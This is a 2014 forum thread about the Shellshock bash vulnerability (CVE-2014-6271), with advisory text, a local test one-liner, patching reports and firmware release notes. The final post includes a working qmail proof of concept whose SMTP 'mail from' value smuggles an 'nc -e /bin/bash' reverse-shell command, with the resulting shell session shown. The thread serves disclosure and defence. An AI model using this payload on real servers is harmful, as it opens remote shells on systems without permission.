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606 posts

Ultimate Geek
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Topic # 152414 25-Sep-2014 16:56
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By now you've probably all heard about CVE-2014-6271:

Overview

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

http://seclists.org/oss-sec/2014/q3/650 
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271

This affects bash in linux distributions and bash in OS X also appears to be vulnerable.

Test with the following in the shell...

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


If you get the following output, then the system is vulnerable.

vulnerable
this is a test



More info:
http://arstechnica.com/security/2014/09/bug-in-bash-shell-creates-big-security-hole-on-anything-with-nix-in-it/

But things might be worse than it appears, as the latest patches do not appear to cover all cases of string processing in bash, so there might be additional exploits to come.
https://news.ycombinator.com/item?id=8365158




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Ultimate Geek
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  Reply # 1137644 25-Sep-2014 17:02
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For some reason my formatting is messed up. (fixed).




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BDFL - Memuneh
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  Reply # 1137780 25-Sep-2014 19:57
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hm. didnt hear about this till seeing the post..

i see what im going to be doing over the next few days....





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  Reply # 1137783 25-Sep-2014 20:09
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Spent a chunk of the day patching for it, woohoo.




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  Reply # 1137787 25-Sep-2014 20:21
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Dam not good :(

gzt

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  Reply # 1138283 26-Sep-2014 14:46
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Imo redhat's security summary and related blog post provide the best clarity on the issue. Clearly it needs to be fixed but not every system will be vulnerable in practice. Depends on exposed surfaces.



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  Reply # 1142857 27-Sep-2014 22:54
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gzt: Imo redhat's security summary and related blog post provide the best clarity on the issue. Clearly it needs to be fixed but not every system will be vulnerable in practice. Depends on exposed surfaces.


The Red Hat summary is one of the better ones, but this is another good one that tracks the different issues and includes a website tester.
https://shellshocker.net/

Please note the warning: Do not test against websites that you do not have permission to test against.




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  Reply # 1142858 27-Sep-2014 23:06
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I'm amazed this hasn't had as much media attention as Heartbleed, I mean this one is a real rip-snorter of a bug.

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  Reply # 1142873 28-Sep-2014 07:33
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insane: I'm amazed this hasn't had as much media attention as Heartbleed, I mean this one is a real rip-snorter of a bug.

Two reasons:
1. It's nix based so the media doesn't have a clue how many and what type of systems could be affected.
2. OS X remains well within the RDF.

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  Reply # 1142882 28-Sep-2014 09:27
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Yeah they screwed up reporting heartbleed - I shudder to think how they would report on this.

We've tackled it at the edge with checkpoint IPS and Netscaler responder policies.

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  Reply # 1142919 28-Sep-2014 11:48
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QNAP have now issued an update to firmware 4.1.1 (build 0927) to address this vulnerability.

Release notes:

 

2014-09-27

 

4.1.1 build 0927

 

 

[QTS 4.1.1 Build 0927]

[Bug Fixes]
 - Fixed the Shellshock security vulnerability that could allow attackers to gain remote control over the system (CVE-2014-6271).

 


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  Reply # 1142986 28-Sep-2014 14:18
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And if you think ONLY web servers are vulnerable... Think again: qmail is a vector for CVE-2014-6271 (bash "shellshock").


As has already been said, upgrade your bash now!

The preconditions for this attack to work are:

1) "Shellshock"-vulnerable bash
2) /bin/sh symlinked to bash
3) Email delivery via qmail to a valid user with a .qmail file containing
ANY program delivery (the actual program being delivered to is irrelevant)

Example:

======

(terminal 0)

$ nc -l -p 7777

(terminal 1)

$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail.example.com ESMTP
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<kgeorge [at] example>
250 ok
data
354 go ahead
Subject: Vuln

.
250 ok 1411674782 qp 4151

(terminal 0)

$ nc -l -p 7777
ls
mail
whoami
kgeorge





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